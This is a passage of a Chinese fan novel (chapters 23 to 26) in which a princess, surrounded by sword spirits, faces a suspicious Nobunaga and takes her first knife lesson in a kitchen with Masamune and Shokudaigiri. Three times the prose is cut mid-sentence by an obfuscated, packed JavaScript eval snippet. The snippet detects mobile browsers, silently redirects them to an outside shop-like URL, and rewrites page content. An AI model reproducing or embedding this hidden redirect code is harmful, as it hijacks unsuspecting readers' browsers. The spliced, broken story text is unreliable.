“不准你这样说!”不动行光怒吼,试图抓住他,但手穿过空气,什么都抓不到。 长谷部反手抓住他的衣领,却同样抓了个空,唯有愤怒紧紧攥在掌心里。 “你这家伙——” “我说的有错吗?”长谷部咬牙,声音已经压不住地颤,“你以为装成醉鬼的样子,就能逃避一切吗?” 他逼视着不动行光。 “不动,你难道还没发现吗?这里已经不是你认识的战国了。” 不动行光的呼吸一顿。 “历史人物被带离原本的世界,会造成什么后果你知道吗?”长谷部步步紧逼,“你知道这个世界有多危险吗?” 他几乎吼出来,“你什么都不知道!只会念着要保护他、保护他,可实际上你什么也做不到!” “长谷部……”宗三轻轻拉住他的袖子,冲他摇了摇头。 长谷部的胸膛剧烈起伏,终究没再说下去。 不动行光已经红了眼眶,像是被撕开了最后一层伪装。他狠狠捂住耳朵,像要把所有声音都隔绝在外。 “不要再说了!”他嘶哑吼着,“我会保护他的!我会作为刀剑保护他!” “有了人身才能真正保护他。”长谷部冷冷道,“只能作为刀剑的无奈,你难道还不清楚吗?” 这句话像利刃扎进不动行光的心口。他双唇颤抖了一下,随后竟是直接转身逃跑了。 烛台切伸手拦住刚想追出去的长谷部,“别追。” 长谷部抿紧嘴唇,呼吸急促,“他现在这样——” “让他自己想一想吧。”烛台切轻声道。 23. 教导 另一边。 夜子抬头望向前方,试图让自己看起来镇定,可心底却像被绵密的细线不断束紧,“信长大人是在庭院吗?” 随从点头,“最近大人很喜欢待在那里,看围墙外的世界。”他语气里带着几分怀念,“明明这些更像公主您以前会喜欢做的事。” 她微微垂下眼睫。 是啊……鬼未出现时,她还能依着父亲或弟弟的陪同,短暂地踏过城门外。但那之后,她的世界就被锁在这高墙之中,只能依靠庭院里的那几片天空来安慰自己。 外面的人都在想着如何对付鬼,而她却只能看着自己帮不上任何忙,想要变强的渴望越积越多。 走在身侧多年的随从迟疑了许久,还是决定开口:“公主是和信长大人变得生疏了吗?若真有隔阂,还是早些说明为好。” “为什么这么说呢?” 她的反应有这么明显吗? “以往公主都是唤他父亲大人。”随从说,“可是今日,信长大人亲自让您改口,您也很快就答应了。” “最让人不安的是……”随从像是在慎重挑选措辞,“在您受伤的这段时间里,信长大人一次也没来看过您。过去您只要稍微咳两声,他都会担心得彻夜不眠。” “我……”她开口,却发现嗓子像被什么堵住,连解释都显得无力。 她不能说,也不可能说,现在的信长已经不是她的父亲了。 随从似乎还没察觉她的挣扎,只把疑惑和担忧继续倾吐出来,“半兵卫大人也是。明明非常关心您,却又像在烦恼什么,所以从未去探望您。比起政宗大人,他的反应反倒更冷漠。” 半兵卫是替代了她未婚夫的人。记忆里那张温柔的脸,如今却被冷淡的视线覆盖。 “老实说,”随从压低声音,像怕被墙壁听见似的,“政宗大人那么喜欢您,为何当初信长大人不选他而要选身体虚弱的半兵卫大人呢?” “因为……我喜欢他?”这话说了竟带着她自己都能察觉的迟疑。 她喜欢他吗?怎么才能算喜欢呢? 未婚夫确实自小体弱,甚至有人断言他活不过二十五。订下婚约时家臣们几乎群起反对,可父亲却坚持己见。 而她那时根本没有反抗的念头。 更何况,对方确实对她很好。 父亲选择他,大概也是希望她会幸福吧?应该是这样吧? 等等,刚才随从是不是提到了政宗—— 但还没等她回忆细思,随从突然慌张地解释,“啊,公主,我不是在说半兵卫大人的坏话。他一直很爱护您,”他顿了顿,为这句话设下一个前提,“至少在您受伤之前是这样。” “幸好,幸村大人没有改变。”随从轻声说。 不,弟弟也是被替代了。 她努力压住胸口忽然升起的微妙颤意,有些犹豫地问道:“你刚刚提到了政宗……” “公主,请当我什么都没说。”随从的表情瞬间变得僵硬,像是意识到自己泄露了什么不得说的话,“这实在是我失言了。” 不知道或许还能装作不在意,但已经听见了,又怎么可能不追究? “你刚刚那句话是什么意思?”她并不是指现在站在她身边的政宗,而是她记忆里那位家臣看,“政宗喜欢我?” 可记忆里,她与那位家臣几乎没有交集。平日里只是远远见他跟在幸村身后行事,顶多点头行礼,从未真的说过几句话。 “我能看出来政宗大人对您的心意。”随从迟疑片刻,还是轻轻叹息,“可是,信长大人似乎并不太喜欢您和他接触。” 若是因为她已经有了未婚夫,担心外界误会,这个举动倒也正常,可是这种隐形的阻隔似乎在她订下婚约前就已经存在了。 “父亲究竟为什么要这样做?”夜子越想越混乱。 “既然公主您没有发现,那我想政宗大人也是刻意不让您察觉的。”随从察觉到她的沉默,声音放得更轻,“若非属下因工作经常与政宗大人接触,我想我也未必能看出来。” 随从鼓起勇气般开口,“属下真心希望公主能幸福。”他眼里浮上难以掩饰的忧色,“听闻半兵卫大人的身体恐怕已经撑不了太久。请公主早作打算。” “谢谢你。”夜子听得出那不是闲言碎语,而是真心的担忧。国破家亡的她固然不幸,但在这片已然支离破碎的世界里,她偏偏又被这些对她抱持真心的人包围着。 这份温度几乎要让人落泪。 她记忆中的未婚夫确实病逝于秋天,在落叶飘零的季节永远地离开了她,而如今是春日。如果一切如记忆那般发展,他剩下的时间不足半年。 可是被替代之后,半兵卫应该用的是自己原本的身体,未婚夫的病不应该在他身上出现。 正这么想着,夜子的心忽然狠狠一跳,不自觉地呢喃,“咳嗽……” 她记得今天进屋时,半兵卫低声咳了一下,几乎是从肺底溢出的那种咳嗽,就像她未婚夫去世前那几天的咳嗽。 “难道是我的愿望,让替代者也继承了死亡,让本该无辜的人朝着同一结局走去吗?”她心想。 无论如何,她都要阻止这一切,尽快找出让他们回到自己的世界的方法。 而期限是半年。 * 庭院里带着初春未散的寒意。 随从向信长行礼后便退下了,但在转身时眼睛里仍带着明显的不安。夜子知道那是不敢言说的担忧,于是她悄悄对随从露出了一个柔和的笑,“我没事的。” 可那笑意在转回信长面前时,便自然地收敛了起来。 夜子上前一步,跪坐行礼,声音规规矩矩,“您找我有什么事吗?” 信长正背对她站在庭院中央,风吹得他的外衣轻轻浮动。他听见她的声音,慢慢回头,嘴角挑起一个玩味的弧度。 “真是过分啊。”他轻轻一叹,语气既像玩笑又像埋怨,“对旁人都能露出那样的笑容,对自己的父亲却半点也不肯施舍?” 她抬头一点,凝视他的神情,却看不出他究竟是轻松调侃,还是真的不满。于是,她只能正式回应,“对不起,信长大人。” 信长眉梢一挑,对她这份认真明显不太满意。 “啧。真是严肃啊。”他摆摆手,像感到乏味一般,“这样没意思。” 夜子又下意识回道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875520|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“真是抱歉。” 信长:“……” 他凝望着她,流露出不属于父亲的疏离与审视,忽然缓缓开口,“你对我真的没有任何话想说吗?”他语气像在抱怨,又像在确认什么。 夜子指尖微微发紧,心里像被细密的针扎着。 他在试探……她清楚得不能再清楚。 但她还不能赌。 她吸了一口气,尽量让声音不颤,“我应该说什么呢?” 信长的眼神微微一动,随即大笑,“是啊,该说什么呢?才短短两天,你知道的说不定比我还少。” “罢了,可怜的公主,就先让你缓一缓吧。” 他竟是放过了她,然而说出的话却让人心里一惊,夜子更加确信信长一定知道些什么,至少他可能知道自己并不属于这个世界。 “我叫你来是因为我突然想起一件事。”信长像是随口一提般开口,却带着审视般的锋芒,“既然你主动找寻了忍者,我能理解成你也想为杀鬼尽一份力吗?” 夜子毫不犹豫地点头。 那是她心底最迫切的愿望。 “很好。”信长看了她一秒,唇边浮现一点浅浅的微笑,不知是满意还是别的情绪,“既然如此,就先从锻炼你的武艺开始吧。” 他抬起手,随意向身侧一点,“政宗,你来教她。” 夜子微微一愣,这才意识到旁边的廊柱后,政宗正默默站着。他似乎一直都在,只是她因为紧张而没有注意到。 政宗本人也明显怔了一下。 “诶?可是……”他的声音压得很低,带着本能的迟疑。 “怎么?难道你不想吗?”信长斜眼看他,嘴角扬起一抹随意的笑。 “你不愿意的话,我就换成其他人。”他的笑容下一瞬间变得极为冰冷,几乎无情地补上,“或许让我这个父亲来教她是个不错的决定。” 政宗声音急促,“不是!属下愿意!”他似乎并不希望让信长和她接触。 夜子犹豫片刻,还是硬着头皮开口,“信长大人,我想这并不适合。我是有未婚夫的人……” 让一个同样正值婚龄的男人来教她武艺,确实容易让旁人误会。尤其是现在,她刚知晓政宗替代的家臣可能喜欢她,她自己都还没缓过来。 信长却像听了个笑话般挑眉,“嗯?那些追随你的忍者不是男人吗?” 比起男人,倒不如说是男刃吧。可能正因如此,她反倒对此没什么性别意识。 可是这个理由不可能说出口。 信长看着她的反应,眼底浮出深不可测的意味,“而且婚约的事,你也不用担心。”他说得极自然,仿佛这句话背后没有任何惊人的含义。 夜子心里微微发紧。 什么意思?不必担心?是已经预料到半兵卫命不久矣? 她还来不及深思,视线却撞上政宗那双金琥珀色的眼睛。政宗没有说话,也没有靠近,只是静静望着她,眼神克制,却带着一点点无法完全掩盖的期待。 她深吸一口气,压住纷乱的情绪,“请多指教。” 政宗微怔,随后垂下眼,声音坚定,“我定会尽全力教导公主。” 24. 恶劣 信长特意让她过来庭院,只是为了说那短短几句话,单纯享受着操纵场面的乐趣。当政宗和夜子都答应之后,他连多余的解释都没有,像赶小猫小狗一样挥了挥手。 “行了行了,你们退下吧。”他抬眼望向夜空,嘴角勾起,理直气壮得过分,“别打扰我欣赏夜景。” 夜子一时无语,不知道他是真在看风景,还是在看他们难堪。 政宗似乎想留下来,“属下送公主——” 信长慢悠悠地瞥了他一眼,那眼神像是故意的,“这么殷勤?”他笑了,“看来你已经不担心会被人发现了?” 被发现什么? 夜子不解,但政宗整个人像被击中要害般僵住,耳根甚至微微发红。 “信、信长大人!”他低头匆匆行礼,“属下先行告退。” 弄得夜子也忍不住轻咳一声掩饰尴尬,“我可以自己回去的。” “我知道。”信长语气倒是轻松得很,“但看他那副样子,我怎么可能放过?” 夜子:…… 政宗离开后,庭院又恢复安静,于是她独自一人走出了庭院,沿着长廊缓缓往前走,“药研,你在吗?” 话音刚落,一个熟悉的身影便从回廊的柱影后悄然现形。 “我在这里。”药研从阴影中走了出来,“大将是怎么发现我的?我还以为自己隐藏得很完美。”毕竟极化短刀的隐蔽本就比其他刀剑高。 “直觉吧。”夜子轻轻弯起唇角,只是笑容略带困倦,“总觉得药研不会放心我和信长大人待在一起。”她抬眼看他,语气带着点调侃,“我有猜错吗?” 药研沉默半秒,随后摇头,“不,大将猜对了。”他的语气没有半点掩饰自己的保护欲。 夜子停下脚步,侧过身看他,“为什么药研会这么警惕呢?按理来说,他是你的前主,你应该很信任他才对吧?”她蹙起眉头,“难道他曾经……”对你做过什么不好的事吗? 而且不只药研如此,连一直在她眼里冷静理智的政宗,在面对信长时也显得紧绷得不寻常。 药研失笑,“不,我觉得信长公挺喜欢我的,我作为刀剑时还是他的护身刀。”甚至就连本能寺之变时,他也在他身上。 “信长公……”他慎重斟酌用词,“如果是既定的时间线里遇见他,我想我确实会对他保持尊敬与信赖。” 他缓缓呼出一口气,抬眼看向夜子。 “但偏偏是在这个时间点遇到。”药研眼底掠过一丝忧虑,“他太多举动都让人起疑了。大将也察觉到了吧,他似乎知道些不该知道的事。” “可是每次我想问清楚,他总像在戏弄我一样。”夜子点头,眉头轻轻皱起,“说一点,又故意停下来,让人越想越乱。” 药研露出一个苦笑,语气却透着一点无奈的温柔,“那是信长公中意人的表现。”他顿了顿,换了个更慎重的说法,“但大将大概不会喜欢那种被玩弄情绪的感觉吧?” 夜子垂下眼,手指在袖子里轻轻绞着布料,“置身雾里的感觉太不舒服了。” 至今为止,她遇到的每一件事都像是被推着往前走。被动地被指定婚约、被动地逃亡、被动地被安排该由谁来教导武艺,她像一直活在别人给的轨道里。 站在她身侧的黑发紫眸少年也察觉到了她心绪的晃动,他微微侧过身,语气柔得像要稳住她似的,“大将是在担心锻炼的事吗?” 他顿了一下,又十分认真地补充,“我觉得政宗大人会是个很好的教导人选。无论是武艺,还是人品上。” 但是想到伊达政宗在胡搅蛮缠地从丰臣秀吉手中要走烛台切光忠的逸闻,他又有些不确定了。 应该是个好人吧? “但是为什么是他呢?”夜子的眉头轻轻皱了起来,语气像是连她自己都觉得奇怪,“若真的要说,替代了弟弟身份的幸村才更为合适吧?” “信长公是在看热闹呢。”药研叹了一口气,语气里混着无奈与洞察,“他的性格里似乎有恶劣的一面,就想看到你们为难的样子。” 他看了夜子一眼,确认对方是否也回想起来了,“不管是大将还是政宗大人在听见他的旨意后,都表现得相当难为情吧。” 夜子一愣,随后意识到自己似乎确实当时有点不知所措。看来他们当时那副模样,刚好把他逗乐了。 她嘴角微微抽了一下,“这也……”太恶劣了。 虽没说出口,但她脸上的表情已经替她讲明了一切。 药研轻轻点头,显然也看懂了她没说完的话。 “所以他说如果政宗大人不答应,他就要亲自教导我,这句话也是在逗我们吧?”夜子回想起政宗当时紧张得近乎僵硬的反应,不由得小声抱怨。 药研突然沉默下来,神情变得古怪,斟酌着什么不太愿意说出口的答案。片刻后,他轻声道:“我觉得这句话可能是真的。” 夜子睁大眼,“诶?为什么这么说?” “为什么……我也想知道呢。”药研眉间微微紧绷,似乎在驱赶某个不太愿承认的猜测。如果是他心里冒出的那个原因,那就实在太、太难以启齿了。 他陷入沉思,神色认真到夜子不得不唤了他好几次,“药研?药研?” 他终于回神,“抱歉,大将……” “没事啦。”夜子轻轻摸了摸他的头,动作自然得像摸信浓那样,只不过动作一落下,她自己也反应过来,“啊……对不起,习惯了。” “大将真是的,我又不是信浓。”药研这么说着,却怎么都压不住眼底那点温柔的笑意,“好,我们走吧。” 他们正打算继续往前走,前方的长廊拐角处却突然出现三个熟悉的身影。看得出来烛台切的神情有些低落,长谷部与宗三的表情甚至低沉得几乎凝固。 他们三人一出现,气氛顿时变得压得喘不过气来。 夜子心头一紧,加快了两步走过去,“怎么了?”她轻声问,但语气里已经藏不住担忧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875521|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宗三抬眼瞥她一眼,张了张口,似乎想说什么,却最终还是把话交给了长谷部。 长谷部整个人都散着沉重的气息,声音低哑,像是喉咙被什么压住了,“不动不愿意跟我们离开。” “是不太顺利吗?你们已经尽力了。”这句安慰本该让人轻松,但对长谷部来说,反而让心底所有的愧疚在瞬间冲上来。 他抬起的眼中藏着明显的痛楚与焦虑,“我们谁也不知道他究竟还能撑多久。” “不动的状态比我们想像中更糟。”烛台切轻轻叹息,补充道:“修行时的灵力供给,正常情况下是由审神者维持的。” “修行中的灵力连接无法切断。”他继续解释,“正因如此,不动在原本的世界里才能安然无恙。” 长谷部紧紧咬牙,“但是现在来到了陌生的世界,他的灵力供给断了。” 空洞的眼睛和逐渐消失的躯体全都有了答案。 “他拒绝是因为不想和我立契约吗?”夜子沉思,“如果没有契约,我能不能直接把灵力给他?”虽然他们素未谋面,但她还是希望他能活下去。 她是真心想帮忙,名分什么于她而言倒是不重要。 宗三愣了下,那一瞬间眼神里闪过明显的动容。 少有人会在听闻一个陌生刀剑濒危后,第一反应是想着要怎么把自己的灵力给他,而不是想办法将对方占为己有。 “主人……”宗三轻声道,像是担心自己的语气太重会伤了她的心,“您的心意,我们都明白、也感激。” 但他最终还是摇了摇头。 “必须拥有契约,才能够提供灵力。”他的语气温和,却无法改变事实,“若非如此,时之政府也不会让审神者分散管理,而是早就统一掌控了。” 烛台切也点头,“刀剑与审神者之间最重要的就是那个连接,否则灵力是无法附着的。” 她有些失望,明明想帮助,却连最基本的方式都无法做到。 “大将,不用太自责。”药研缓步走近她一步,“信长公不是说会安排我们出阵吗?”他继续解释,“想来之后也会有接触到信长公,甚至不动的机会。” 能接触到后者很好,前者就算了。 长谷部与宗三的眉心几乎同时皱起。 夜子再次注意到他们之间那种说到信长就僵住的微妙沉默,不禁轻声问道:“你们不想接触信长大人吗?” 长谷部的肩膀明显绷了一下,宗三则移开视线,像是回想起什么不太好的过去。 药研则露出一个苦笑,“大将,怎么说呢……对他们来说,信长公有些像是——” “天灾。”长谷部忍不住接话,语气复杂得像在咬着牙说真话。 宗三低声补刀,“或者,不需要理由就会让人头疼的存在。” 药研耸了耸肩,“他们对他多少都有些阴影。” 夜子:…… 难道不仅自己被耍着玩,连刀剑们也一样吗? 25. 厨刀 今天便是训练的第一天了。 夜子刚睁开眼,思绪还停留在半梦半醒之间,忽然就听见一阵礼貌的敲门声,“大将,是我,药研。” 夜子瞬间清醒,赶紧坐起,匆匆把有些乱的发丝理到耳后,“请进。” 药研推门走入,“大将,政宗大人让你到厨房准备。”声音一如既往的稳重,带着他一贯的可靠气息。 “嗯?厨房?”夜子乍一听还以为自己听错了,怀疑自己还没完全清醒,“不应该是庭院或者训练室吗?” “政宗大人应该有自己的用意吧。”烛台切此时也进来了,“若是不会用刀,或许从菜刀开始是个不错的选择?”他带着轻松的微笑,“说不定还能顺便做出美味的料理。” 夜子默了默,小声地说道:“我不会做饭。”连耳尖都有点发烫。 她的脑海中飞快闪现起那次萝卜惨案。她明明只想试着将萝卜切成片,为父亲和弟弟做一顿料理,却不知从哪里冒出那么大的力气,菜刀当场刺进砧板,还是整个柄都陷进去的那种。 她费半天劲才把刀拔出来,结果萝卜在过程中飞不知哪去了。 真正的飞出去。 所以,切菜对她来说,并没有比真正的握刀简单多少。她甚至怀疑自己在后者的表现,会比前者好很多。 烛台切却只是轻笑,没有半点嘲弄,“没事的,如果主人真的不擅长的话,政宗大人会帮忙处理的。”他宽慰道。 夜子愣住,“政宗大人会下厨?”她有些诧异地问道。 烛台切点头,“招待重要客人时,政宗大人会亲自下厨。做出来的菜肴丰盛到足以让宾客忘记带来的礼物。据说吃过的人都赞不绝口。” 烛台切谦虚地笑了下。 药研继续道:“顺带一提,在烛台切殿来之前,是长谷部担任料理……非常辛苦。” 夜子瞬间想象出长谷部一边洗锅一边咬牙切菜的画面,莫名心酸。 “烛台切好厉害。长谷部也是多才多艺。”她由衷地夸赞道。 烛台切听见夸奖,眼里流露出温和的笑意,“若是长谷部听到,说不定此刻已经樱吹雪了。” 药研轻轻一笑,“那应该是樱暴雪的程度了。” “樱吹雪?”夜子眨了眨眼,好奇地问道。 “刀剑付丧神在极为开心时,身上会飘粉色花瓣,就是樱吹雪。”药研解释道,“至于樱暴雪,大将可以理解为他高兴到不行时的夸张说法。” “那我召唤巴形时,他身上飘着的花是樱吹雪吗?” 药研摇头,“那是召唤时溢出的灵力具象化,是正常现象。” “原来不是樱吹雪啊……”她语气明显有些失落。 如果可以,她希望能看见大家樱吹雪的模样,这样能说明他们是开心的吧。仔细想来,自见到大家起,他们就一直都是心事重重的模样,似乎仍在担忧着什么。 烛台切微微倾下头,看了她一眼,很快察觉到那抹小小的失望,“樱吹雪一般会发生在出阵拿誉时。” 于是,他故意用调侃赶走气氛里的黯淡,“说不定主人之后就会面对被花瓣淹没的危机了。” 说完,他自然地抬手,轻轻拨了拨她鬓角一缕歪掉的发丝,“好了。” 夜子这才意识到自己的头发凌乱,尴尬地低声道:“谢谢你。我刚刚太匆忙了,都没注意。” 烛台切笑得更加温柔,“主人不用客气。我们走吧。” 夜子注意到他的话,“烛台切也要跟着一起?” “虽然很信任政宗大人,但不知为何,就是总觉得要保持一份警惕心。”烛台切苦笑,“其他人也是这么想的。” 他顿了顿,又半认真半自豪地说:“再加上我比较了解政宗大人,我们商量之后,决定由我出面保护主人,顺带也能教主人一些招式。” 语气像是好不容易从混乱战场中杀出一条血路,总算拿到胜利席位。 夜子愣了一下,明显察觉到他话里藏着点复杂意味。 烛台切垂下眼眸,像是忍不住回忆了一下昨晚的惨烈会议,“昨晚的竞争很是激烈。” 他采用了一个委婉到不能再委婉的词,但光看他轻轻扶额的动作,就知道情况远比激烈严重得多。 “尤其是长谷部和巴形薙刀。两人真的恨不得把其他人全部挤下去。”他说到这里时,语气里带着无奈,“可能正因为如此,那两位总给人一种同性相斥的感觉。” “一半时间大家在互相自荐,另一半时间——”他语气顿了顿,“则是长谷部和宗三在对信长公的提议进行阴谋论分析。” “毕竟是信长公,大家难免紧张。”烛台切叹了一口无奈的气,苦笑浮现出来,“宗三殿怀疑是不是信长公想测试主人,长谷部殿立刻接一句也可能是陷阱,两人你来我往讨论得非常踊跃。” 那画面几乎能用逐渐魔幻来形容。 夜子本能地想象了一下那场面,药研在角落里冷静调节气氛、宗三忧郁又认真地提出可怕假设……满满都是她从没想象过的混乱。 “原来如此。”夜子轻轻点头,终于明白为何只有烛台切会来,“希望政宗大人不要介意。” “我想他不会的。”烛台切笑道。 * “公主,你来了。” 听见脚步声,政宗下意识抬眸,淡淡的笑意在唇角浮现,显露出几分温柔弧度。 然而,那笑意只停留了短短一瞬。当他的目光掠过夜子,落到她身后那个和他有几分相似的男人身上时,弧度收了下去。 “这位大人也要来吗?”他语气礼貌。 烛台切神情温和,点了点头,没有迟疑。 “只是在厨房做菜而已,您可以不用担心,我会照顾好公主的。”政宗看着他,“下厨时若是人太多,反而会人多手杂。” “请不用担心,我自认在料理上还算不错,请让我在一旁为你们打下手吧。”烛台切的话说出口,不知为何两人之间空气微妙地紧绷起来。 夜子明显察觉到氛围变得有点不对劲,虽不至于剑拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875522|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弩张,但也绝对不是轻松简单的教学前气氛。 更像两只大型猫科动物在她身边绕圈,各自压抑着本能的竞争欲望。 她小声出声想缓和,“今天要做什么呢?” 政宗立刻回神,卷起袖口,露出线条分明的前臂,“首先,让公主学会拿刀。”他说得理所当然。 夜子侧目,小声地重复,“是用厨刀吗?”这句话验证了烛台切的说法是正确的。 政宗点了点头,“对,我听幸村说公主并未认真地学过刀,那么从厨刀开始会是比较简单的选择。” “有些厨刀与短刀的结构类似。既然公主的护身刀是短刀,那握这把刀时应该会轻松许多。” 他说完便转身,利落地从刀架上取下一把小菜刀,“像是这振厨刀,就很适合作为护身的短刀。” 他将刀轻轻递到夜子手边,“来,公主。握住它,别怕。” 烛台切站在夜子左后侧,“主人,不用紧张。我在这里。” 夜子深吸了一口气,伸出手接过这振刀。厨刀的重量并不像太刀一样重,却因为政宗和烛台切的注视,让她莫名感到像握着一件危险武器。 不对,怎么这振刀给她的感觉确实就是武器? 她有些迟疑,手指微微僵住。还没等她细思,政宗的声音便低低落下,在她耳侧轻轻震动,“很好。” 两人的距离近得能感受到彼此的呼吸。 烛台切眼睫微垂,视线直直落在那只手上,平时温柔的眼神此刻变得肃静,连笑容都收了起来。 这是不是有点过于靠近了……? 他有些迟疑,却完全没意识到自己日常与夜子相处时也是差不多这样的距离。 夜子的耳尖悄悄发烫,但在调整完握法后,政宗便像什么事都没有发生般松开了手。那一瞬间的热度消失得太快,让她都怀疑方才是不是错觉。 “接下来,试试看切菜吧。”她听见政宗这么说,然而心里那种怪异的感觉愈发明显。 “主人是在害怕吗?”烛台切察觉到她的迟疑,往前一步,声音温柔,语气却很认真,“我感觉您刚才有些不安。” 夜子摇头,像是否认他的说法,又像是挥散心底混乱的想法,“我只是在想事情。” 她深吸一口气。 好,切菜。 她可以的。 应该……可以吧? 她抬起厨刀,正准备用力把刀狠狠砍向砧板上的白菜,结果—— 啪! 烛台切和政宗几乎同时伸手,匆匆阻止她。 前者捉住她的手腕,脸色明显僵了一瞬。后者直接按住刀背,语气罕见地急了点,“公主,切菜不是这样切的。” 夜子愣住,“咦?不是砍下去吗?” 烛台切露出有些无奈的笑意,“切菜不需要出阵那种力道。刚才那一下,如果砧板是溯行军,大概已经被斩成两半了。” 夜子的手在半空僵了一瞬,慢慢放下刀,耳尖悄悄染上一点红,“……对不起。” 26. 料理 “公主刚才的动作是斩击。” “斩击?”听见政宗这么说,夜子有点发懵,脑袋里像慢半拍一样回放刚才那一幕。 “嗯。”对方目露赞许,“看来幸村说得没错。公主确实没学过刀,但对刀的直觉倒是意外地敏锐。若是刚才那一击用在敌人身上,应该能造成极大的伤害。” “只不过,斩击若是方向错误,例如砍在骨头上,刀刃可能会嵌进去拔不出来。在战场上,这是致命的失误。” 烛台切则摸着下巴,认真评估,“这种一瞬间的力量很适合打刀的拔刀术。” 他的声音带着若有所思,“太刀一般刀刃朝下,打刀则相反,不需要翻刃就能攻击。若是力道与速度足够,说不定真的能做到一击必杀。” 夜子还是第一次听到这样的夸奖。 以前练习太刀或薙刀时,父亲和弟弟总是怕她受伤,提醒她放轻别急,但从来没有人说过她适合一击必杀。 “我适合吗?”她忍不住小声问,语气里带着点不安,也带着不可思议,眼睛里是完全藏不住的期待。 “公主天生握刀角度正确,力道也没有乱挥。”政宗认真审视她,“刚才那一下如果换成太刀,很可能会直接砍断对手喉颈。” “但我只是要切菜?”她僵硬地抬起手中厨刀,看着它像看着什么犯罪证物。虽然很高兴,但一想到自己这个动作是在什么情况下做出来的,似乎就高兴不起来了。 烛台切轻轻失笑,声音里带着宠溺的无奈,“主人大概不擅长温柔地对付蔬菜。” 夜子深吸一口气,“这不是值得夸奖的事情吧——” “对料理来说当然不是。”政宗接道,“但对战场来说,是好事。” 她默默转头,看向砧板上那颗无辜的白菜。刚才若不是他们两人及时抓住她的手,它可能已经被她劈成四半了,“所以我其实不适合厨房,是吗?” “不,主人不用担心。”烛台切赶紧摇头,像怕她误会,“料理可以慢慢学,只是刚才那个力道确实不像一般人初学者。” 他的手微微抬起,像是想安抚,但在政宗的注视下又缓缓放下。 “公主对刀的感应比你自己想的更敏锐。”政宗也点头,“虽然你似乎并未接受过正式训练,但本能比技法更可贵。” “可贵到被你们两个同时吓一跳的程度?”夜子嘟囔。 他倒是毫不避讳,“不是吓,是惊艳。” 烛台切竟然也点头,“这个形容更准确。” 总觉得他们眼中的自己似乎被美化了好几倍,而夜子除了红着脸之外,竟无话可说。 “今天的结果倒是不错。”政宗总结似的道,“公主从明天开始就可以进行真正的练刀。” 烛台切接着道:“只是似乎缺少一把趁手的武器。” 政宗点头,“公主的忍者中有几位使用打刀的,可以先借来训练。” 夜子面露为难,烛台切也是一样的神情。没有人比他们更清楚,那些刀剑其实就是政宗眼中的忍者的本体。 刀剑付丧神并不能离开本体太远,也就是说如果必须这样,那他们训练时将会多出几双眼睛。 若是她用他们本体训练时,表现得太差劲…… 夜子会尴尬得想把自己埋起来。 政宗似乎也察觉了他们的迟疑,“这都是明天的事了,公主还打算继续做料理吗?” 夜子犹豫了一下,但还是点头。停在这里不太好,她总不能一直靠他们照顾。如果她能学会做饭,也算能帮上忙吧。希望在两位大厨的教导下 “那我们换个方式。”政宗伸手把白菜往前推了推,“先从最基本的动作开始。” 他握住她的手腕,轻轻带动。白皙指尖被包住的瞬间,夜子感觉自己的心跳似乎也加快了。 烛台切站得更近了些,“主人,只要跟着政宗殿下的力道就好。我也会在后面辅助您。” 夜子深吸一口气,照着政宗教的动作,一点一点地切。 理论上是这样。 实际上,她的力气还是大得惊人。菜刀每次落下去,都发出咚的一声沉响,好几次连砧板都微微震了一下。 政宗与烛台切从旁看着,脸上表情慢慢从专注、变成微惊,最后变成了某种不知道在担心她,还是担心白菜的复杂神色。 她终于把那颗可怜的白菜切完了,而切出来的是不规则丝狀、碎屑狀、边缘被震裂的片状、甚至还能看到几块怪形状白菜块。 夜子把刀轻轻放下,盯着这堆惨状,沉默三秒,“……我失败了吗?” 政宗沉吟了一会儿,“从厨艺角度来说,确实很有发展空间。” 夜子默了默,看向另一位戴着眼罩的大厨。 烛台切在旁边也沉默了几秒,似乎想说点什么安慰她,但实在做不到昧着良心说夸奖,最后他只能选择折衷。 他尽量让语气听起来像在温柔鼓励,而不是违心,“虽然形状有些自由,但至少味道不会变的。” 政宗轻咳,“烛台切说得也没错,蔬菜无论形状如何,都还是蔬菜。” “你们两个根本只是在委婉地说很糟糕吧!”夜子脸颊涨红,既羞又恼。 “不,并不是糟糕,只是还需要磨练。”烛台切声音温柔得像在哄小孩,“主人,如果您愿意,我们可以先从切软一点的菜开始。” 政宗思索,“或许从豆腐?” 夜子怀疑地盯着他们两个,“真的不会更惨烈吗?” 政宗和烛台切同时沉默了一瞬。 她投降般举手,“那……我还是不要碰豆腐好了。” 另外两人很自然地接手,将她那一堆碎得看不出本尊的白菜收集起来处理。政宗利落地削皮、整理、切丝,烛台切则负责刀工细腻的部分。 夜子盯着那朵被雕出来的螺旋状豆腐花,“这是料理还是艺术?” 烛台切微微一笑,“料理本来就可以是艺术。” 